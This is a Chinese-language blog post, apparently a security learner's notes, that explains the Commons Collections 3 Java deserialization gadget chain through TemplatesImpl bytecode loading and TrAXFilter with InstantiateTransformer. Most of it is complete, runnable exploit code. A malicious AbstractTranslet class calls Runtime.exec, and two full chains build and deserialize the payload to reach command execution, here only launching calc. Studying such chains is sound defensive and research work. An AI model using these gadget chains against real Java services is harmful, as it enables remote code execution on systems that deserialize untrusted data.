上一文讲到类加载的底层原理
https://godownio.github.io/2024/07/31/java-lei-jia-zai-ji-shuang-qin-wei-pai/
最后是defineClass加载类
尽管defineClass是protected final,其他地方依然有调用到该方法,让我们可以构造底层的恶意类加载攻击。
比如bcel,TemplatesImpl
先来看TemplatesImpl$TransletClassLoader
CC3 TemplatesImpl链
newInstance加载
该方法为default属性,必定被类内其他方法调用,跟进一下
在同一个类里的defineTransletClasses()循环调用了该方法加载_bytecodes数组。读一下代码,只要_bytecodes[]不为空,就能触发defineClass
该private方法也必定被类内其他方法调用,有三个方法都调用了
先看一下第一个getTransletClasses()方法,注意上面的英文注释,该方法出于安全原因设为私有,因为和Apache部分项目整合的原因才没有移除。所以我们没有Apache的项目是没有调用该方法的地方的。
getTransletIndex作为public也没有地方被调用
那只能看getTransletInstance了,方法名叫获取转移实例,方法内正好就有newInstance(),这不巧了吗!
触发defineTransletClasses()并走到newInstance,需要_name不为空,_class为空
getTransletInstance作为private,还得往上找到public,因为别的类只能调用另一个类的public方法,这样才能转到readObject嘛。向上走到newTransformer
我们建一个TransfomerImpl实例测试一下
TransfomerImpl有一个空的构造函数
_name不为空,_class为空,_bytecodes为恶意代码
1 2 3 4 5 6 7 8 9 10
| byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); }
|
注意在defineTransletClasses中,_tfactory调用了方法,虽然_tfactory为transient,无法序列化传递,
但该类的readObject给_tfactory赋了值。我们测试的时候也先给个值
1 2 3
| else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); }
|
由于我们的CC6代码要在newInstance时触发,所以要把整个defineTransletClasses()走完。有报错就要处理。
读一下这段代码,classCount为bytecodes数组元素个数,大于1才给auxClasses赋值。如果这里不赋值,后面的auxClasses.put会报错。
所以我们有两种解决办法,一种是传两个byte元素的bytecodes,这样classCount>1,就能put进去。并反射修改_transletIndex的值不小于0,不然会报Error。一种是走if,不用管auxClasses
双byte通过else
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class CC3TemplatesImpl { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class")); byte[] code2 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\BImpl.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1,code2}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } else if (field.getName().equals("_transletIndex")) { field.set(templatesClass, 0); } } templatesClass.newTransformer(); } }
|
code2随便传,但注意不能和code1相同,会进第一个catch,也不能为空,会进第二个catch。
但是由于我们传入的类无法转为AbstractTranslet而报错。但是不重要
继承AbstractTranslet通过if
第二种方式,走进if,不走else,就不用管auxClasses。而且给transletIndex赋值了,不用自己去赋值。
如果要走进if,需要加载的类继承自如下类。
那我们改一下CC6,继承AbstractTranslet并实现抽象方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.HashMap; import java.util.Map;
public class CC6TiedMapEntry2 extends AbstractTranslet { public CC6TiedMapEntry2() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "test2"); map.remove("test1"); Class lazymapClass = lazyMap.getClass(); Field factory = lazymapClass.getDeclaredField("factory"); factory.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL); factory.set(lazyMap, chainedTransformer); serialize(hashMap); unserialize("cc6.ser"); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser")); oos.writeObject(obj); oos.close(); } public static Object unserialize(String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class CC3TemplatesImpl { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry2.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } templatesClass.newTransformer(); } }
|
也是成功加载
链接到readObject
InvokerTransformer能调用任意公开的方法,在这里也就是newTransformer。直接在后面链上
1 2 3 4 5
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templatesClass), new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
后面随便截取一段其他CC的代码接着触发chainedTransformer就行了。这里就用CC6后面的代码.
完整代码1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import java.util.Properties;
public class CC3TemplatesImpl { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry2.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templatesClass), new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "test2"); map.remove("test1"); Class lazymapClass = lazyMap.getClass(); Field factory = lazymapClass.getDeclaredField("factory"); factory.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL); factory.set(lazyMap, chainedTransformer); serialize(hashMap); unserialize("cc6.ser"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser")); oos.writeObject(obj); oos.close(); } public static Object unserialize(String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
|
这样Runtime被ban了也能执行命令,而且加载字节码的后续利用范围也更多。
那InvokerTransformer也被ban了呢?
直接触发newTransformer的如图,Process是在main里,没办法用。
getOutputProperities作为一个getter方法,在后面的CC11和fastjson中会用到。先略过
TranformerFactoryImpl及其父类都没有继承serializable接口,虽然没有继承serializable的一些类依然有办法在反序列化获取实例,比如我们前面的chainedTransformer,实际上整个序列化过程都没有用到Runtime的实例,创建实例的过程发生在反序列化途中。但这种方式要求构造函数
或者获取实例的方法
能传进需要的参数,因为链式的过程中无法再去反射修改实例的字段。你看我们反射修改都是在序列化对象上。
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
所以我们可以做个小总结,目前能调用使用非serializable类的地方只有InvokerTransformer的链式调用中。
我们看TranformFactoryImpl,需要指定templates为上文生成的templatesClass
那有没有获取实例的地方或者构造函数能修改templates呢,答案是没有
所以这个类不能用。
最后我们看TrAXFilter类,虽然该类没有继承serializable,在构造函数中就给templates赋值,并调用了newTransformer()
怎么触发构造函数呢?
本链官方给出了InstantiateTransformer类,该类的transform获取构造器,并newInstance(),等于调用了构造函数。
构造函数传进去调用指定构造器
1 2 3 4 5
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesClass}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
轻松拿下
完整代码2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3TrAXFilter { public static void main(String[] args) throws Exception { byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry2.class")); TemplatesImpl templatesClass = new TemplatesImpl(); Field[] fields = templatesClass.getClass().getDeclaredFields(); for (Field field : fields) { field.setAccessible(true); if (field.getName().equals("_bytecodes")) { field.set(templatesClass, new byte[][]{code1}); } else if (field.getName().equals("_name")) { field.set(templatesClass, "godown"); } else if (field.getName().equals("_tfactory")) { field.set(templatesClass, new TransformerFactoryImpl()); } } Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesClass}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "test2"); map.remove("test1"); Class lazymapClass = lazyMap.getClass(); Field factory = lazymapClass.getDeclaredField("factory"); factory.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL); factory.set(lazyMap, chainedTransformer); serialize(hashMap); unserialize("cc6.ser"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser")); oos.writeObject(obj); oos.close(); } public static Object unserialize(String filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
|
上面各序列化代码去掉_tfactory的赋值依旧能用,原理上面说过了。
目前以下几个路径都能触发命令执行or代码执行